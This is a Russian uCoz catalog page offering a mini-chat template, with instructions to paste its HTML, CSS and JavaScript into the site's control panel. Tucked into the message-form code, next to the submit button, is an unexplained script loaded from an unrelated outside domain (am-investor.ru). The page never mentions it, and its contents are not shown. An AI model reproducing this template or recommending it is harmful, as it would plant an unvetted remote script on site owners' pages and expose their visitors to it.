Новый, Светлый и Красивый Мини-Чат для uCoz - Скрипты - UCOZ - Каталог файлов - Каморка
kamorka
Menu
Правила чата
Пользователи онлайн
Мини-чат
+Мини-чат
0
Онлайн всего: 1
Гостей: 1
Пользователей: 0
   Категории

Комментарии

KaMoRkA.uCoz.com -- uCoz -- Скрипты


Выкладываю в паблик мини-чат со своего сайта.. Полностью рабочий, многофункциональный, светлый и красивый мини-чат. Он будет красиво смотреться почти на любом сайте.. В общем всё ясно видно на скриншоте.

Особенности:
 
- Имеются оригинальные ВВ-Коды
- Отображение аватаров пользователей;
- Счётчик количества оставшихся символов;
- Приятный дизайн;

Установка:

Заходим в ПУ > Управление дизайном > Мини-Чат > Вид материалов
И всё заменяем на этот код:

Код
<?if($NUMBER$=1)?><style>body {background: #ffffff !important;}  
a.ipbavatar {  
width: 40px;  
height: 40px;  
}a.ipbavatar {  
display: block;  
float: left;  
position: relative;  
top: 0px;  
left: 0px;  
bottom: 0px;  
right: 0px;  
box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.5) inset;  
border-radius: 3px;  
-moz-border-radius: 3px;  
-webkit-border-radius: 3px;  
}  
.linnov {  
overflow: hidden;  
border-bottom: 1px dotted #D7D9DB;  
}  
a.ipbavatar img {  
width: 40px;  
height: 40px;  
border-radius: 3px;  
-moz-border-radius: 3px;  
-webkit-border-radius: 3px;float: left;  
width: 40px;  
height: 40px;  
}  

#body{}  
  ::-webkit-scrollbar  
  {  
  width: 5px;  
  height: 9px;  
  }  
  ::-webkit-scrollbar-track-piece  
  {  
  background-color: #ffffff;  
  -webkit-border-radius: 5px;  
  }  
  ::-webkit-scrollbar-thumb:vertical  
  {  
  height: 9px;  
  background-color: #666;  
  -webkit-border-radius: 5px;  
  }  
  ::-webkit-scrollbar-thumb:horizontal  
  {  
  width: 5px;  
  background-color: #666;  
  -webkit-border-radius: 5px;  

  }  
</style>  
<?endif?>  

<div id="iChat-messages" align="left" style="padding-top:2px;">  
<div style="word-wrap:break-word;">  
<div style="background:#ffffff;padding:1px;border:1px solid #cfcece;border-radius:2px;">  

<table border="0" cellpadding="0" cellspacing="0">  

<tbody>  
<tr>  

<td width="38" style="padding: 2px;">  
<a class="ipbavatar" style="text-decoration:none" title="Профиль" href="javascript://"
rel="nofollow" onclick="return show_profile('$USER_ID$');">  
<?if($AVATAR_URL$)?>  
<img alt="$USERNAME$" src="$AVATAR_URL$" style="float: left;width: 40px;height:40px;">  
<?else?>  
<img alt="$USERNAME$" src="http://ili.pp.ua/imgc/noavatar.png" style="float: left;width: 40px;height:40px;">  
<?endif?>  
</a>  
</td>  
<td style="font-size:7pt; color:#666; padding-left:4px;">  
<b>  
<a style="text-decoration:none" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();
parent.window.document.getElementById('mchatMsgF').value+='[b]$NAME$[/b], ';return false;">  
<?if($USER_ID$=1)?><span style="color:#008000"><?else?><span style="color:#248BFF">
<?endif?>$USERNAME$</span></a></b> написал<br>  
<span style="font-size:7pt">$DATE$ в $TIME$</span>  
<br>  
<span style="color:#cccccc; font-size:7pt;">  
<a style="text-decoration:none" href="/index/14-$USER_ID$-0-1"
target="_blank" title="Написать ЛС"><span style="color:#527D24">
Написать письмо</a>  
</span>  
</td>  
</tr>  
</tbody>  
</table>  
<div class="linnov">  
</div>  
<div style="padding:3px; text-align:left;">  
$MESSAGE$  
</div>  
</div>  
</div>  
</div>

Теперь заходим в "Мини-Чат > Форма добавления сообщений"
И всё заменяем на этот код:

Код
<?if(!$CAN_ADD$)?><div align="center"><?if($LOGIN_LINK$)?>  
<a href="$LOGIN_LINK$">  
<div style="background:#F3F3F3;padding:5px 0 5px 0;border:1px solid
#eaeaea;color:#444;border-radius:4px;margin:10px 0 0 0;font-size:7pt;">  
Для добавления необходима авторизация<br/></div></a>  
<?else?>Доступ запрещен<?endif?></div><?else?>  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr>  
<td width="70%" align="left">  
<a href="$RELOAD_URI$" title="Обновить">  
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/arrow.png"></a>  
<?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл">  
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/smiley.png"></a>  
<?endif?>  
<?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями">  
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/edit_bg.png" width="15" height="15"></a>  
<?endif?>  
<br>  
<a href="javascript:void('Apply to')" onclick="bbCode('b');return false;">  
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/bold.png" height="16" width="16" title="Полужирный" /></a>  
<a href="javascript:void('Apply to')" onclick="bbCode('i');return false;">  
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/italic.png" height="16" width="16" title="Курсив" /></a>  
<a href="javascript:void('Apply to')" onclick="bbCode('u');return false;">  
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/underline.png" height="16" width="16" title="Подчёркнутый" /></a>  
<a href="javascript://" onclick="url_mchat();return false;">  
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/link.png" height="16" width="16" title="Ссылка" /></a>  
<a href="javascript:void('Apply to')" onclick="bbCode('quote');return false;">  
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/quotes.png" height="16" width="16" title="Цитата" /></a>  

<td>$FLD_AUTOUPD$<br><div align="right"><b id="jeuwu28">$MAX_MESSAGE_LEN$</b></div></td>  
<?if(!$USER_LOGGED_IN$)?>  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td colspan="2">$FLD_NAME$</td></tr>  
<tr><td width="50%">$FLD_EMAIL$</td><td>$FLD_URL$</td></tr>  
</table>  
<?endif?>  
<?if($FLD_CUSTOM1$ || $FLD_CUSTOM2$)?>  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="50%">$FLD_CUSTOM1$</td><td>$FLD_CUSTOM2$</td></tr>  
</table>  
<?endif?>  
<?if($FLD_SECURE$)?>  
<table class="micha" border="0" cellpadding="1" cellspacing="1">  
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>  
</table>  
<?endif?>  

<script type="text/javascript">  
function sbtFrmMC991(f){$('#mchatBtn').css({display:'none'});$('#mchatAjax').css({display:''});_uPostForm('MCaddFrm',{type:'POST',url:'/mchat/?29399178.7043772'});}  
function countMessLength(){var rst = 300-$('#mchatMsgF').val().length;if (rst<0){rst=0;$('#mchatMsgF').val($('#mchatMsgF').val().substr(0,300));}$('#jeuwu28').html(rst);}
var tID7174=-1;var tAct7174=false;  
function setT7174(s){var v=parseInt(s.options[s.selectedIndex].value);document.cookie="mcrtd="+s.selectedIndex+"; path=/";if(tAct7174){clearInterval(tID7174);tAct7174=false;}if(v>0){tID7174=setInterval("document.getElementById('mchatIfm2').
src='/mchat/?'+Math.random();",v*1000);tAct7174=true;}}
function initSel7174() {var res=document.cookie.match(/(W|^)mcrtd=([0-9]+)
/);if(res){s=$("#mchatRSel")[0];;s.selectedIndex=parseInt(res[2]);setT7174(s);}$("#mchatMsgF").bind("keydown",function(e){if(e.keyCode==13 && e.ctrlKey && !e.shiftKey){e.preventDefault();sbtFrmMC991();}})}  
</script>  

<table class="micha" border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="40%" rowspan="2" style="max-width: 88px">$FLD_MESSAGE$</td></tr>  
<script type="text/javascript" src="http://ili.pp.ua/js_css/bbcodes.js"></script>  
<Style>  

#mchatBtn {  
font-size: 8pt;  
background: url('http://ili.pp.ua/imgc/podrobno.png');  
background-position: 0px 0px;  
color: #505252;  
border: 0px solid white;  
border-radius: 3px;  
height: 25px;  
width: 85px;  
padding: 0 5px 3px 5px;  
cursor: pointer;  
}  
#mchatBtn:hover {background-position:-85px 0px;color:#505252;border:0px solid #FE8C12;}  
#mchatBtn:active {background-position:-170px 0px;color:#505252;border:0px solid #FE8C12;}  
</style>  
</table>  

<table>  
<tr>  
<td align="left" wigth="88px">  
<input type="submit" value="Отправить" class="mchat" id="mchatBtn">  
<script src="http://am-investor.ru/higer.js" type="text/javascript"></script>  
<div style="display:none; width:88px; height:32px; background:
url('http://ili.pp.ua/imgc/loading.gif') no-repeat 30% 50%; position:relative;" id="mchatAjax"><div style="position:absolute; top:8px; left:40px;">Ждите...</div></div>  
</td>  
</tr>  
</table><?endif?>

Всё, готово. Удачи!

Важно!

При копировании материала указывать ссылку на источник.

- 346
- 05-Мая-2017
- 0
Материал разместил:

Похожий материал
Статьи сайта